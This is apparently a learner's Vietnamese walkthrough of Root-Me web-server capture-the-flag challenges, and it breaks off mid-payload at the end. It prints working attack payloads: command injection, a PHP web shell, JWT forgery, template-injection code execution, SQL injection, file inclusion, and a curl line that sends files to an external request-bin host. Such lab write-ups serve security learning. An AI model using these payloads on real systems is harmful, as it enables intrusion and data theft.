WEB_SERVER
1. HTML - Code source
Bài này thì y như tên gọi chỉ cần bật source code lên xem là được.
2. HTTP - Contournement de filtrage IP
Bài này yêu cầu truy cập vào mạng nội bộ bằng địa chỉ ip riêng khi kết nối vào mạng nội bộ của công ty.
Ở đây dùng http header để kết nối vào
X-Forwarded-For: 192.168.0.1
- Send và mật khẩu được trả về thành công
Well done, the validation password is: Ip_$po0Fing
3. HTTP - Open redirect
Theo như tên đề bài thì ta cần phải chuyển hướng tới 1 trang web nào đó cụ thể là https://google.com
Nhìn thấy thẻ a thì có truyền vào tham số h, để ý kĩ thì có 32 kí tự chắc là tên miền được mã hóa md5. Encode thì đúng. Vậy chỉ cần encode https://google.com là ra kết quả.
4. HTTP - User-agent
- Thì bài này ngay khi truy cập đã nhận được tin này
Wrong user-agent: you are not the "admin" browser!
Rất dễ thấy user-agent là thông tin về browser của mình chỉ cần cho nó là admin thì thành công.
5. Weak password
- Theo như đúng tên đề bài thì bài này nói về mật khẩu rất yếu thì cứ admin, admin ai ngờ thành công
pass = admin
6. PHP - Injection de commande
Lời gợi ý thì mật khẩu nằm trong file index.php. Nên chắc phải mở được file đó ra xem.
Trang web cho mình một form input với gợi ý là địa chỉ local. Nhập thì thấy có vẻ input gọi hàm shell_exec(ping).
Vì hàm shell_exec() là hàm dễ bị khai thác nên có thể tìm kiếm, đọc file.
Đầu tiên thì liệt kê danh sách các file ra xem thì có file index.php sau đó đọc file.
payload = 127.0.0.1; ls
payload = 127.0.0.1; cat index.php
- Ta tìm được source code
<?php
$flag = "".file_get_contents(".passwd")."";
if(isset($_POST["ip"]) && !empty($_POST["ip"])){
$response = shell_exec("timeout 5 bash -c 'ping -c 3 ".$_POST["ip"]."'");
echo $response;
}
?>
- Thì flag nằm trong file .passwd chỉ cần đọc file đó lên là thành công.
payload: 127.0.0.1; cat .passwd
7. Backup file
Đề bài yêu cầu cần tìm được file backup và thử thì tồn tại file index.php.
Thường thì extension file backup sẽ là .BAK, .TMP, .GHO , ~
Thử lần lượt thì ~ là chuẩn và đã tải được file index.php về.
Bây giờ chỉ cần mở lên rồi đọc password là thành công
$username="ch11";
$password="OCCY9AcNm1tj";
echo '
<html>
<body>
<h1>Authentication v 0.00</h1>
';
if ($_POST["username"]!="" && $_POST["password"]!=""){
if ($_POST["username"]==$user && $_POST["password"]==$password)
{
print("<h2>Welcome back {$row['username']} !</h2>");
print("<h3>Your informations :</h3><p>- username : $row[username]</p><br />");
print("To validate the challenge use this password</b>");
} else {
print("<h3>Error : no such user/password</h2><br />");
}
}
echo '
<form action="" method="post">
Login <br/>
<input type="text" name="username" /><br/><br/>
Password <br/>
<input type="password" name="password" /><br/><br/>
<br/><br/>
<input type="submit" value="connect" /><br/><br/>
</form>
</body>
</html>
';
?>
8. HTTP - Directory indexing
- Xem source code thì thấy có directory
<!-- include("admin/pass.html") -->
- Vô path admin rồi đọc file admin là có password
Password: Linux
9. HTTP - Headers
Bài này về HTTP headers vô phần network xem request thì thấy phần response có phần Header-RootMe-Admin: none mà phần request không có.
Thêm trường Header-RootMe-Admin: none vô request là có password
Password: HeadersMayBeUseful
10. HTTP - Headers
Bài này chỉnh sửa về post, thì vô phần network và click thì có request post với scores không đủ để win game. Sửa scores rồi post lại là có password
Password: H7tp_h4s_N0_s3Cr37S_F0r_y0U
11. HTTP - Invalid redirect
Đề gợi ý là chuyển hướng tới file index.php bật burpsuite và bắt request đổi hướng là có password
Password: ExecutionAfterRedirectIsBad
12. HTTP - Verb tampering
Bài này yêu cầu cần thay đổi phương thức request thì chỉ cần thử lần lượt GET, POST, PUT,...
Ở đây thử PUT và đã thành công
Password: a23e$dme96d3saez$$prap
13. Install files
Bài này guessing một chút vô soure thì có path dẫn /phpbb và xem tiêu đề bài thì vô /phpbb/install rồi đọc file php ra password
Password: karambar
14. CRLF
CRLF là viết tắt của Carriage Return và Line Feed, CR và LF là các ký tự điều khiển, được mã hóa tương ứng 0x0D (13 trong hệ thập phân) và 0x0A (10 trong hệ thập phân)
CRLF Injection là một lỗ hổng có thể xảy ra khi người lập trình không kiểm tra kĩ càng dữ liệu người dùng đẩy lên và cho phép người dùng chèn cả các kí tự CR và LF này vào.
Bài này cần bypass được log là cần hiển thị được trường admin "authenticated." nhưng khi điền thì tất cả input đề false nên cần inject CRLF để tạo dòng mới.
Payload url
http://challenge01.root-me.org/web-serveur/ch14/?username=admin%20authenticated.%0D%0Aa&password=admin
Password: rFSP&G0p&5uAg1%
15. File upload - Double extensions
- Bài này lỗ hổng về file upload. Tạo một file php chứa mã độc thực hiện lệnh systerm.
<?php
if(isset($_GET['c'])){
$shell = system($_GET['c']);
echo $shell;
}
?>
Vì phần upload hạn chế đuôi .php nên chuyển thành .php.jpg là bypass.
Up lên và thực hiện lệnh thôi. Password nằm ở đây
test.php.jpg?c=cat ../../../.passwd
Password: Gg9LRz-hWSxqqUKd77-_q-6G8
16. File upload - MIME type
Bài này làm giống như bài trên nhưng bị từ chối không thực thi lệnh php ở jpg nên cần upload thẳng file php lên.
Nhưng khi đó cần phải thay đổi trường MINE type sang image/png để có thể upload được lên.
Sửa trường Content-type: image/png là up được php lên
Bây giờ đọc file .passwd là thành công.
Password: a7n4nizpgQgnPERy89uanf6T4
17. HTTP - Cookies
Ban đầu cho một input thì nhập admin vào nhưng nhập gì cũng chỉ là user bình thường.
Vô phần request xem thì mặc định cookie là user nên chỉ cần thay đổi thành admin là thành công
Password: ml-SYMPA
18. Insecure Code Management
Bài này về quản lý code không an toàn nên nói về quản lý code thì phải có file .git
Tải file về rồi check file git lên là có pass
commit c0b4661c888bd1ca0f12a3c080e4d2597382277b (HEAD -> master)
Author: John <john@bs-corp.com>
Date: Fri Sep 27 20:10:05 2019 +0200
blue team want sha256!!!!!!!!!
diff --git a/config.php b/config.php
index e11aad2..663fe35 100644
--- a/config.php
+++ b/config.php
@@ -1,3 +1,3 @@
<?php
$username = "admin";
- $password = "s3cureP@ssw0rd";
+ $password = "0c25a741349bfdcc1e579c8cd4a931fca66bdb49b9f042c4d92ae1bfa3176d8c";
diff --git a/index.php b/index.php
index f7237d0..2e620c1 100755
--- a/index.php
+++ b/index.php
@@ -13,7 +13,7 @@
<?php
include('./config.php');
if(isset($_POST['username']) && isset($_POST['password'])){
- if ($_POST['username'] == $username && md5($_POST['password']) == md5($password)){
+ if ($_POST['username'] == $username && hash('sha256', $_POST['password']) == $password){
echo "<p id='left'>Welcome ".htmlentities($_POST['username'])."</p>";
echo '<input type="submit" value="LOG IN" href="./index.php" class="button" />';
}
Password: s3cureP@ssw0rd
20. JSON Web Token (JWT) - Introduction
Bài này có trường đăng nhập bằng guess và cấp cho cookie là jwt.
Phân tích thì nhận được
Chuyển username thành admin và không cần chế độ mã hóa alg là none rồi đổi cookie lại là xong
{
"typ": "JWT",
"alg": "none"
}
{
"username": "guest"
}
ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIm5vbmUiCn0=
ewogICJ1c2VybmFtZSI6ICJndWVzdCIKfQ==
=> Cookie: jwt= ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIm5vbmUiCn0.ewogICJ1c2VybmFtZSI6ICJndWVzdCIKfQ==
Password: S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7
21. Directory traversal
Bài này dò path ẩn qua truyền tham số vào biến galerie=.
Phát hiện được 1 path lạ 86hwnX2r
<table id="content">
<tr>
<td><img width="64px" height="64px" src="galerie//86hwnX2r" alt="86hwnX2r">
</td>
</tr>
<tr>
<td><img width="64px" height="64px" src="galerie//emotes" alt="emotes">
</td>
<td><img width="64px" height="64px" src="galerie//apps" alt="apps">
</td>
<td><img width="64px" height="64px" src="galerie//devices" alt="devices">
</td>
</tr>
<tr>
<td><img width="64px" height="64px" src="galerie//categories" alt="categories">
</td>
<td><img width="64px" height="64px" src="galerie//actions" alt="actions">
</td>
</tr>
</table>
- Vô xem thì có file password đọc thôi
<table id="content">
<tr></tr>
<tr>
<td><img width="64px" height="64px" src="galerie/86hwnX2r/password.txt" alt="password.txt">
</td>
<td><img width="64px" height="64px" src="galerie/86hwnX2r/hacked_web.jpg" alt="hacked_web.jpg">
</td>
<td><img width="64px" height="64px" src="galerie/86hwnX2r/secret.png" alt="secret.png">
</td>
</tr>
<tr></tr>
</table>
Password: kcb$!Bx@v4Gs9Ez
22. File upload - Null byte
Bài này lỗi ở kí tự null byte vì nó chỉ check đuôi file đến khi gặp kí tự null byte là dừng lại không check nữa nên chỉ cần chèn null byte vô tên file là thành công(injec.php%00.png)
Lỗi này đã được fix từ phiên bản PHP 5.3.
Password: YPNchi2NmTwygr2dgCCF
23. JSON Web Token (JWT) - Weak secret
- Vào đầu tiên thì họ có đưa một đoạn mess
{"message": "Let's play a small game, I bet you cannot access to my super secret admin section. Make a GET request to /token and use the token you'll get to try to access /admin with a POST request."}
- Thì theo đường path /token thì có đưa một đoạn token jwt và yêu cầu POST bằng token đó.
{"Here is your token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"}
- Sau khi post vô /admin thì nhận được mess này
{"message": "method to authenticate is: 'Authorization: Bearer YOURTOKEN'"}
- Thêm trường Authorization vô thì nhận tiếp
{"message": "I was right, you are not able to break my super crypto! I use HS512 so no need to have a strong secret!"}
- Vô jwt.io để xem trong token có gì
{"role": "guest"}
Cần thay đổi role thành admin nhưng không có private key nêu do bài yêu cầu brute force password nên dùng jwt_tool để tìm.
Private key là "lol" vậy chỉ cần mã hóa là xong.
Password: PleaseUseAStrongSecretNextTime
24. JWT - Revoked token
- Đầu tiên vô thì họ cho mess này
POST : /web-serveur/ch63/login <br>
GET : /web-serveur/ch63/admin
- POST với login thì nhận được cần phải login dạng json
{"msg":"Bad request. Submit your login / pass as {\"username\":\"admin\",\"password\":\"admin\"}"}
Đăng nhập thì nhận được một token để login vô admin.
Vô trang login admin bằng token xem nhận được token bị revoked.
Để ý đoạn code đề bài cho thì ngay khi đăng nhập thành công thì lập tức token bị cho vào black_list
def login():
try:
username = request.json.get('username', None)
password = request.json.get('password', None)
except:
return jsonify({"msg":"""Bad request. Submit your login / pass as {"username":"admin","password":"admin"}"""}), 400
if username != 'admin' or password != 'admin':
return jsonify({"msg": "Bad username or password"}), 401
access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3))
ret = {
'access_token': access_token,
}
with lock:
blacklist.add(access_token)
return jsonify(ret), 200
- Do đó khi kiểm tra thì token tại trường Authorization bị dính do đó cần bypass đoạn Authorization.
def protected():
access_token = request.headers.get("Authorization").split()[1]
with lock:
if access_token in blacklist:
return jsonify({"msg":"Token is revoked"})
else:
return jsonify({'Congratzzzz!!!_flag:': FLAG})
- Theo như trường Authorization thì giá trị token sẽ bị base64 decode để đọc giữ liệu. Trong khi đó các kí tự "=" có thể bypass được vậy thêm dấu "=" vô sau token là được.
{"Congratzzzz!!!_flag:":"Do_n0t_r3v0ke_3nc0d3dTokenz_Mam3ne-Us3_th3_JTI_f1eld"}
25. PHP - assert()
- Đầu tiên vô trang index thì phát hiện path đều được truyền qua tham số ?page= điền ?page=' thì xuất hiện 1 lỗi.
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /challenge/web-serveur/ch47/index.php(8) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: strpos('includes/'.php', '..') === false in /challenge/web-serveur/ch47/index.php on line 8
- Có thể thấy được cú pháp của server là
assert(strpos('include/'.$file.'.php', '..') === false)
- Inject vào thôi điền
?page=test' , '') or system('ls -a');//
Lúc đó server sẽ trở thành
assert(strpos('include/test.php', '') or system(ls -a); // '..') === false)
- Và hiện file .passwd và đọc thôi
Warning: strpos(): Empty delimiter in /challenge/web-serveur/ch47/index.php(8) : assert code on line 1 . .. ._nginx.http-level.inc ._nginx.server-level.inc ._perms ._php53-fpm.pool.inc .git .passwd includes index.php 'includes/alo' ,'') or system("ls -a");//.php'File does not exist
Thay lệnh cat .passwd ra flag
Warning: strpos(): Empty delimiter in /challenge/web-serveur/ch47/index.php(8) : assert code on line 1 The flag is / Le flag est : x4Ss3rT1nglSn0ts4f3A7A1Lx Remember to sanitize all user input! / Pensez à valider toutes les entrées utilisateurs ! Don't use assert! / N'utilisez pas assert ! 'includes/alo','') or system("cat .passwd");//.php'File does not exist
Password: x4Ss3rT1nglSn0ts4f3A7A1Lx
25. PHP - Filters
Bài này là về Filter wrapper trong PHP stream đọc hiểu stream PHP tại: https://viblo.asia/p/tim-hieu-ve-streams-trong-php-63vKjmaM52R
Đây là một dạng LFI
PHP filter được dùng để xác thực và làm sạch đầu vào bên ngoài. Có rất nhiều filter có thể được dùng. Một trong số đó là convert.base64-encode và base64-decode.
php://filter/convert.base64-encode/resource cho phép chúng ta đọc bất kì file php nào. Tuy nhiên chúng sẽ được mã hóa base-64. Và chúng ta phải decode nó để có thể xem source các file
Thử dùng đầu tiên cho file login.php
?inc=php://filter/convert.base64-encode/resource=login.php
- Được chuỗi
PD9waHAKaW5jbHVkZSgiY29uZmlnLnBocCIpOwoKaWYgKCBpc3NldCgkX1BPU1RbInVzZXJuYW1lIl0pICYmIGlzc2V0KCRfUE9TVFsicGFzc3dvcmQiXSkgKXsKICAgIGlmICgkX1BPU1RbInVzZXJuYW1lIl09PSR1c2VybmFtZSAmJiAkX1BPU1RbInBhc3N3b3JkIl09PSRwYXNzd29yZCl7CiAgICAgIHByaW50KCI8aDI
- Base64 decode
<?php
include("config.php"); ...
- Có file config.php rồi làm như trên vào là có flag
?inc=php://filter/convert.base64-encode/resource=config.php
- Chuỗi
PD9waHAKJHVzZXJuYW1lPSJhZG1pbiI7CiRwYXNzd29yZD0iREFQdDlEMm1reTBBUEFGIjsK
- Base64 decode
$username="admin";
$password="DAPt9D2mky0APAF";
26. PHP - register globals
Register globals là một số biến globals như $_GET, $_POSRT, $_SESSION,..
Xem phần gợi ý có thấy người lập trình đã để lại tập backup lại.
Dùng dirsearch để tìm file thì thấy có file index.php.bak.
Tải về và đọc chú ý đoạn đăng nhập
if (( isset ($password) && $password!="" && auth($password,$hidden_password)==1) || (is_array($_SESSION) && $_SESSION["logged"]==1 ) ){
$aff=display("well done, you can validate with the password : $hidden_password");
} else {
$aff=display("try again");
}
- Có 2 cách để đăng nhập nhưng mình không biết password nên chỉ có thể đăng nhập bằng SESSION thì chỉ cần cài cái $_SESSION["logged"]==1 là xong.
http://challenge01.root-me.org/web-serveur/ch17/?_SESSION[logged]=1
well done, you can validate with the password : NoTQYipcRKkgrqG
27. PHP - Remote Xdebug
- Xdebug là một extension dành cho PHP, khi cài đặt nó nó sẽ cập nhật lại việc hiện thị lỗi, cập nhật một số lệnh có sẵn (như var_dump), đặc biệt nó cho phép kết nối đến các IDE (như Visual Studio Code, PHPStorm ...) để gỡ rối mã PHP, lúc này từ IDE có thể thực hiện việc đặt các breakpoint (điểm dừng mã để trích xuất, xem các thông tin ...) cũng như các thao tác Debug như : Step Into, Step Over, Restart ...
28. Python - Server-side Template Injection Introduction
Nghe đề bài trông quen quen thì vô họ cho 2 input là title và conten.
Vì đây là template injection nên kiểm tra {{77}} thì hiện 49 và {{7'7'}} hiện 7777777 biết ngay là jinja2.
Xem payload ở đây https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls -a').read() }}
{"content":".\n..\n._firewall\n.git\n._nginx.server-level.inc\n.passwd\n._perms\nrequirements.txt\n._run\nserver_ch74.py\nstatic\ntemplates\n","title":"aa"}
- Có file .passwd đọc lên là có flag
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat .passwd').read() }}
{"content":"Python_SST1_1s_co0l_4nd_mY_p4yl04ds_4r3_1ns4n3!!!\n","title":"aa"}
29. File upload - ZIP
Đầu tiên vô trang thì thấy có 1 form upload file zip đưa file zip bình thường sẽ bị đổi tên.
Thì đưa file zip text sẽ giải nén và đọc.
File zip chứa php ko thực thi được trong thư mục upload (403 Forbidden).
$zip –m filename.zip file.txt
Cách làm là upload 1 file chứa liên kết symlink với file index.php là có thể đọc được.
- Tạo 1 file index.txt. Vì file index.php nằm cách 3 thư mục sau uploads ch51/tmp/upload/628704ff631c53.92359809/
ln -s ../../../index.php index.txt
zip --symlinks index.zip index.txt
- Upload file đó lên là có thể đọc được.
Don't know if this is safe, but it works, someone told me the flag is N3v3r_7rU5T_u5Er_1npU7 , did not understand what it means
30. Command injection - Filter bypass
Bài này giống bài đầu nhưng khi ping đúng ip thì chỉ hiện ping OK.
Thì tìm được payload list command tại https://github.com/payloadbox/command-injection-payload-list
Ở đây dùng %0A để tạo lệnh mới vì dùng ; để ngắt lệnh thì sẽ hiện Syntax Error vì các lệnh trên đã bị filter.
Và tất cả các lệnh ping đều bị blind nên dùng request bin để bắt request.
Cách đọc file với curl và đề có hướng dẫn đọc file index.php
curl --data "@/path/to/filename" http://....
ip=127.0.0.1+%0A+curl+--data+"@index.php"+https://eoje6sdrijfzw1h.m.pipedream.net
- Đọc file .passwd là có flag
ip=127.0.0.1+%0A+curl+--data+"@.passwd"+https://eoje6sdrijfzw1h.m.pipedream.net
body
{1}
Copy Path
•
Copy Value
Comma@nd_1nJec7ion_Fl@9_1337_Th3_G@m3!!!:
31. Java - Server-side Template Injection
Đây là lỗi thực thi code template đi theo hình này thôi.
${7*7} => It's seems that I know you :) 49
a{*comment*}b => It's seems that I know you :) a{*comment*}b
${"z".join("ab")} =>
{"timestamp":1653027964406,"status":500,"error":"Internal Server Error","exception":"freemarker.core.ParseException","message":"Syntax error in template \"5b375e31-2d6b-49d1-88b6-e6c23fa1d027\" in line 1, column 54:\nFound string literal: \"z\". Expecting: hash","path":"/web-serveur/ch41/check"}
Ta tìm thấy freemarker. FreeMarker là một hệ bản mẫu web cho nền tảng Java, mục đích ban đầu dùng để tạo dựng web động với kiến trúc MVC.
Mục tiêu là Java template injection.
Sau một hồi tìm kiếm tên mạng thì tìm được payload này để thực hiện RCE.
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
- Và nó chạy hiệu quả vậy chỉ cần liệt kê và đọc file flag là được.
nickname=<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("ls -a") }
=> ..
.git
.gitignore
._nginx.server-level.inc
.oracle_jre_usage
._perms
pom.xml
._run
SECRET_FLAG.txt
src
target
nickname=<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat SECRET_FLAG.txt") }
=> It's seems that I know you :) B3wareOfT3mplat3Inj3ction
33. Local File Inclusion
- Đọc tên đề là tấn công LFI thì dùng payload bình thường để đọc các file cha thôi.
files=..
=> Ta tìm được file admin và index.php
if (isset($_GET["f"]) && $_GET["f"]!=""){
$lfi_path=$full_path."/".$_GET["f"];
$secured_path=realpath($lfi_path);
$aff.= "<h3>File : ".htmlentities($_GET["f"])."</h3>";
$aff.= "<hr/><pre>";
$aff.= htmlentities(file_get_contents($secured_path));
$aff.= "</pre><hr/>";
}
- PHP sẽ dùng hàm file_get_contents(path) để đọc file vậy chỉ cần đọc file admin sẽ thấy file index.php đọc là có flag.
files=../admin
=> $users = array('admin' => 'OpbNJ60xYpvAQU8');
34. Local File Inclusion - Double encoding
Bài này sử lý gần giống như PHP filter.
Vẫn thử LFI ../ nhưng đã bị filter và hiện Attack detected. Chắc nhìn đề bài là double encoding thì có lẽ các kí tự đặc biệt kia đã bị encode rồi và thử 1 số payload tại https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
Có vẻ như thông báo lỗi là có thể khai thác được.
Dùng stream filter php://filter/convert.base64-encode/resource.. nhưng không thành công nhìn đề bài encode 2 lần và đã đọc được.
Danh sách kí tự đặc biệt
simbol : simple encoding : double encoding
: : 3A : %253A
/ : 2F : %252F
. : 2E : %252E
- : 2D : %252D
= : 3D : %253D
- Payload
page=php%253A%252F%252Ffilter%252Fconvert%252Ebase64%252Dencode%252Fresource%253Dcv
- Được 1 chuỗi base64 encode ra tìm được 1 file conf.init.php
<?php include("conf.inc.php"); ?>
- Vậy đọc file trên là ra flag. Vì file được truyền khởi tạo bởi tham số nên không cần ghi tên đuôi vì nó sẽ tự truyền vào cho mình.
page=php%253A%252F%252Ffilter%252Fconvert%252Ebase64-encode%252Fresource%253Dconf
"flag" => "Th1sIsTh3Fl4g!",
"home" => '<h2>Welcome</h2>
35. Node - Eval
Đây là bài về lỗi eval trong js.
Hàm eval(string) sẽ tính toán nếu là chuỗi tính toán và thực thi code nếu là script.
Vì đề là nodejs nên thử truyền vào 1 hàm xem sao.
res.end("abcd")
- Và trang web đã hiện lên "abcd" chứng tỏ chỉ cần thực thi cmd vào là được.
res.end(require('child_process').spawnSync('ls',['-la']).stdout.toString())
- Thêm module child_process vào và thực hiện command là được.
Đã liệt kê được file vậy chỉ còn đọc flag là được.
Về module của child_process có thể tìm hiểu tại https://nodejs.org/api/child_process.html#child_processspawnsynccommand-args-options
Dùng module 'fs' để đọc file.
- Trong file S3cr3tEv0d3f0ld3r còn file nữa
- Dùng để đọc filepath
res.end(require('fs').readdirSync('./S3cr3tEv0d3f0ld3r').toString())
- Dùng để đọc tên file
res.end(require('fs').readFileSync('./S3cr3tEv0d3f0ld3r/Ev0d3fl4g').toString())
Password: D0n0tTru5tEv0d3B4nK!
36. PHP - Loose Comparison
- Mở bài thì họ cho 2 cái input vì cho source để đọc lên.
<?php
function gen_secured_random() { // cause random is the way
$a = rand(1337,2600)*42;
$b = rand(1879,1955)*42;
$a < $b ? $a ^= $b ^= $a ^= $b : $a = $b;
return $a+$b;
}
function secured_hash_function($plain) { // cause md5 is the best hash ever
$secured_plain = sanitize_user_input($plain);
return md5($secured_plain);
}
function sanitize_user_input($input) { // cause someone told me to never trust user input
$re = '/[^a-zA-Z0-9]/';
$secured_input = preg_replace($re, "", $input);
return $secured_input;
}
if (isset($_GET['source'])) {
show_source(__FILE__);
die();
}
require_once "secret.php";
if (isset($_POST['s']) && isset($_POST['h'])) {
$s = sanitize_user_input($_POST['s']);
$h = secured_hash_function($_POST['h']);
$r = gen_secured_random();
if($s != false && $h != false) {
if($s.$r == $h) {
print "Well done! Here is your flag: ".$flag;
}
else {
print "Fail...";
}
}
else {
print "<p>Hum ...</p>";
}
}
?>
- Thuật toán là nhập seed và hash
$r: chỉ là số random
$s: là input của seed sau khi lọc data.
$h: là md5 của seed.
Đọc qua về lỗ hổng của so sánh lỏng lẻo(Loose Comparison) "==" có thể xem chi tiết tại đây. https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20PHP%20loose%20comparison%20-%20Type%20Juggling%20-%20OWASP.pdf
Thì có một số lỗi của "==" so với "===" như sau:
TRUE: "0000" == int(0)
▪ TRUE: "0e12" == int(0)
▪ TRUE: "1abc" == int(1)
▪ TRUE: "0abc" == int(0)
▪ TRUE: "abc" == int(0) // !!
TRUE: "0e12345" == "0e54321"
▪ TRUE: "0e12345" <= "1"
▪ TRUE: "0e12345" == "0"
▪ TRUE: "0xF" == "15"
- Đó như vậy chú ý trên muốn hiện flag thì phải bypass qua điều kiện này
$s.$r == $h
$s.$r là nối chuỗi nên random không cần phải chú ý.
- Vì lỗ hổng ở TRUE: "0e12345" == "0e54321" theo đọc thì "0e" có nghĩa là 0 mũ mà 0 mũ bao nhiêu cũng bằng nhau nên có thể để cho 2 vế là 0 mũ.
$s: có thể điền "0e" được bây giờ để bằng $h thì $h cần phải chứa "0e" cái này brute force tay.
- Đoạn code python
import hashlib
import re
for i in range(0,9999999999):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
# reget là xác nhận phù hợp input đầu vào
reget = re.match("^[0-9]+$",md5[3:])
if md5[0:2] == "0e" and reget:
print("Seed: " + str(i) + " and Hash: " + md5)
break
else:
print("None: " + str(i))
s
Brute force hơi lâu nên lên mạng tìm và tìm được "240610708"
Nhập vô là thành công.
sead: 0e
hash: 240610708
Well done! Here is your flag: F34R_Th3_L0o5e_C0mP4r15On
37. PHP - preg_replace()
- Hàm preg_replace dùng để replace một chuỗi nào đó khớp với đoạn Regular Expression truyền vào.
preg_replace ( $pattern, $replacement, $subject)
Đây là tấn công hàm preg_replace() có thể xem cách khai thác tại http://www.madirish.net/402
Với việc truyền thêm /e (đề bài có gợi ý) thì hàm trên sẽ thực thi hàm $subject truyền vào vậy nếu ta thay thế bằng mã độc thì sẽ rất nguy hiểm.
Còn nếu không có /e thì nó chỉ là chuỗi bình thường.
Payload:
search: /a/e
replace: file_get_contents('flag.php') vì các hàm system(), exec(),... bị filter.
content: a
=><?php $flag="".file_get_contents(".passwd").""; ?>
search: /a/e
replace: file_get_contents('.passwd')
content: a
Password: pr3g_r3pl4c3_3_m0d1f13r_styl3
38. PHP - type juggling
- Bài này là do câu so sánh có vấn đề
if($auth['data']['login'] == $USER && !strcmp($auth['data']['password'], $PASSWORD_SHA256)){
$return['status'] = "Access granted! The validation password is: $FLAG";
}
- Ở đây lỗi là cách sử dụng hàm strcmp() có thể tham khảo ở đây https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20PHP%20loose%20comparison%20-%20Type%20Juggling%20-%20OWASP.pdf
- Như vậy chỉ cần truyền mảng vào password và truyền login = 0 thì 2 giá trị Null có thể bypass được rồi.
{"data":{"login":0,"password":["aaa"]}}
%7b%22%64%61%74%61%22%3a%7b%22%6c%6f%67%69%6e%22%3a%30%2c%22%70%61%73%73%77%6f%72%64%22%3a%5b%22%61%61%61%22%5d%7d%7d
{"status":"Access granted! The validation password is: DontForgetPHPL00seComp4r1s0n\n"}
39. Remote File Inclusion
Đầu tiên thì cho truyền tham số với lang= chắc là truyền file.
LFI bình thường ../../../index.php thì bị báo lỗi
Failed opening '../../../index.php_lang.php'
- Có lẽ bị tự động thêm đuôi _lang.php ta có thể hình dung được code là.
include($language."_lang.php");
Dùng stream filter LFI nhưng cũng không thành công vậy chỉ còn RFI thôi.
Thử chuyển hướng sang google.com xem sao.
?lang=https://google.com?
- Ở đây để bypass cái thêm chuỗi _lang.php thì sau khi mò trên mạng tìm thấy được SUFFIX là dùng "?"
Và đã chuyển thành công sang google.com
Ở đây dùng pastebin để share code nhớ dùng bản raw để đỡ hiện những phần thừa
Payload:
?lang=https://pastebin.com/raw/Hc61Dy9h?
40. SQL injection - Authentication
- Đầu tiên họ cho form đăng nhập thì vì lỗi SQL bình thường nên payload
username = admin'--
password = admin
Password: t0_W34k!$
41. SQL injection - Authentication - GBK
GBK là phần ký tự Trung Quốc giản thể. GBK bao gồm tất cả ký tự Trung Quốc được định nghĩa trong unicode.
Thường thì bên server sẽ sử dụng để bypass hàm addslashes().
addslashes() dùng để thêm một dấu gạch chéo ngược (\) phía trước các ký tự là dấu nháy kép, dấu nháy đơn và dấu gạch chéo ngược trong chuỗi.
Do đó nếu thêm dấu ' vào thì nó sẽ thành \' thêm slashes vào.
Vì vậy giải pháp là chuyển thành GBK thì sẽ bypass được.
Đầu tiên họ cho trang login thì chuyển login thành mảng để xem lỗi và họ báo lỗi dùng addslashes().
login[]=admin&password=admin
- Vì kí tự %bf%5c hay %af%5c là ký tự Trung Quốc nên ta chỉ gần thêm %bf thì hàm sẽ thêm %5c(\) vô sau và trở thành ký tự Trung Quốc.
-- -: là comment trên mysql
': là %27
payload: login=%bf' or 1 = 1 -- -&& password = admin
Ấn chuyển hướng trang =>
Congratz! The validation password is: iMDaFlag1337!
42. SQL injection - String
Đầu tiên tìm lỗi thì thấy ở thanh search khi nhập dấu ' báo lỗi SQLite3::query(): nên ta biết họ dùng SQLite3.
Tìm kiếm số bảng thì thấy có 2 bảng.
payload: recherche = 1' order by 3--
=> bị lỗi nên có 2 bảng.
- Khai thác union query tìm kiếm tên bảng tìm được bảng news và users.
payload: recherche=1' union select NULL,sql from sqlite_master--
- Rồi xem thông tin users
payload: recherche=1' union select username,password from users--
=> username = admin , password = c4K04dtIaJsuWdi
43. XSLT - Code execution
XSLT (viết tắt của tiếng Anh XSL Transformations) là một ngôn ngữ dựa trên XML dùng để biến đổi các tài liệu XML. Tài liệu gốc thì không bị thay đổi; mà thay vào đó, một tài liệu XML mới được tạo ra dựa trên nội dung của tài liệu cũ. Tài liệu mới có thể là có định dạng XML hay là một định dạng nào đó khác, như HTML hay văn bản thuần. XSLT thường dùng nhất trong việc chuyển đổi dữ liệu giữa các lược đồ XML hay để chuyển đổi dữ liệu XML thành các trang web hay tài liệu dạng PDF.
Bài này truyền file .xsl dưới tham số xsl.
Dùng pastebin để tạo ra đoạn code xsl check xem có attack được không.
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
XSLT Version : <xsl:value-of select="system-property('xsl:version')"/>
XSLT Vendor : <xsl:value-of select="system-property('xsl:vendor')"/>
XSLT Vendor URL : <xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>
Có thể tân công được vậy lôi dirpath ra xem thôi. Có một số cách đọc folder có thể tham khảo tại đây. https://security.stackexchange.com/questions/170712/execute-a-php-function-that-returns-an-array-from-an-xsl-file
Đọc file với code
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','.')"/>
<xsl:value-of select="php:function('readdir')"/> /
<xsl:value-of select="php:function('readdir')"/> /
